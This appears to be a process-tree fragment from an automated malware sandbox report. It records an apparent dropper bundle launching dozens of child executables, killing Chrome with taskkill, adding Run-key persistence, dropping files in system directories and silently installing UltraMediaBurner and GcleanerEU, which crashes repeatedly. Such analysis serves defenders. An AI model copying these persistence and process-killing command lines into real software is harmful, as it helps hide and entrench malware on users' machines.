- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7004
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:5572
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7392
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:5612
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7756
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:6152
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:4644
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:5088
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:6380
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7116
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:6620
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:4428
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:4536
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:1468
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:2296
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:6192
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:5820
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7760
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7508
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:5756
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7428
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:6860
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:5392
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7204
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7164
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7768
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7016
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7184
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:5060
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:1040
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:612
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:2476
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:1168
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:6196
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:3012
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:2696
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:640
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:6736
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:5668
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:6844
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:1224
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:5700
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7460
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:2800
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:3384
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7276
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:2768
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:4400
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:1760
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:2232
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:4252
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:2356
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7284
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:1824
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7464
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:6892
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:2196
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:5320
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:1668
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:6828
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7988
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:3192
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7136
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:6424
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:2684
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:8040
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7808
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7920
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:1120
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:2732
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:6032
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:2356
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:3436
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:6416
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7332
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:4448
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:8160
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:4916
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:4792
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:2684
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7612
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:4400
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:4256
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:4816
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:6544
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:5272
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:6020
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7576
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:5272
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:4340
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:4816
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7440
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:8256
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:8576
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:8668
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:8752
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:8768
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:9152
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:8816
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:9308
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:9420
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:9536
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:9736
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:9840
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:9940
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:10044
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:10124
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:10172
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:9220
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:9912
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:10036
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:7544
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:8888
- C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:8684

C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue118f55232e4.exe
Tue118f55232e4.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4560
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c taskkill /f /im chrome.exe
  2⤵
  PID:6872
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im chrome.exe
    3⤵
    - Kills process with taskkill
    PID:7180

C:\Users\Admin\AppData\Local\Temp\is-5M787.tmp\Tue11b9d76a96506.tmp
"C:\Users\Admin\AppData\Local\Temp\is-5M787.tmp\Tue11b9d76a96506.tmp" /SL5="$20086,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11b9d76a96506.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4536
- C:\Users\Admin\AppData\Local\Temp\is-I12BK.tmp\46807GHF____.exe
  "C:\Users\Admin\AppData\Local\Temp\is-I12BK.tmp\46807GHF____.exe" /S /UID=burnerch2
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Adds Run key to start application
  - Drops file in Program Files directory
  PID:4956
- - C:\Program Files\Common Files\QYRWPYRZGJ\ultramediaburner.exe
    "C:\Program Files\Common Files\QYRWPYRZGJ\ultramediaburner.exe" /VERYSILENT
    3⤵
    - Executes dropped EXE
    PID:6004
  - - C:\Users\Admin\AppData\Local\Temp\is-RL2AB.tmp\ultramediaburner.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-RL2AB.tmp\ultramediaburner.tmp" /SL5="$40218,281924,62464,C:\Program Files\Common Files\QYRWPYRZGJ\ultramediaburner.exe" /VERYSILENT
      4⤵
      Executes dropped EXE
      Drops file in Program Files directory
      Suspicious use of FindShellTrayWindow
      PID:5192
    - - C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
        
        "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
        5⤵
        Executes dropped EXE
        
        PID:5680
- - C:\Users\Admin\AppData\Local\Temp\29-68aee-951-beba0-2dc747445edc7\Qyfejarishae.exe
    "C:\Users\Admin\AppData\Local\Temp\29-68aee-951-beba0-2dc747445edc7\Qyfejarishae.exe"
    3⤵
    - Executes dropped EXE
    PID:5288
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\sdibr5nx.qqi\GcleanerEU.exe /eufive & exit
      4⤵
      PID:6632
    - - C:\Users\Admin\AppData\Local\Temp\sdibr5nx.qqi\GcleanerEU.exe
        
        C:\Users\Admin\AppData\Local\Temp\sdibr5nx.qqi\GcleanerEU.exe /eufive
        5⤵
        Executes dropped EXE
        
        PID:6652
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6652 -s 656
        6⤵
        Program crash
        
        PID:8000
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6652 -s 672
        6⤵
        Program crash
        
        PID:8144
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6652 -s 776
        6⤵
        Program crash
        
        PID:1612
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6652 -s 816
        6⤵
        Program crash
        
        PID:4392
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6652 -s 884
        6⤵
        Program crash
        
        PID:7892
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6652 -s 932
        6⤵
        Program crash
        
        PID:7600
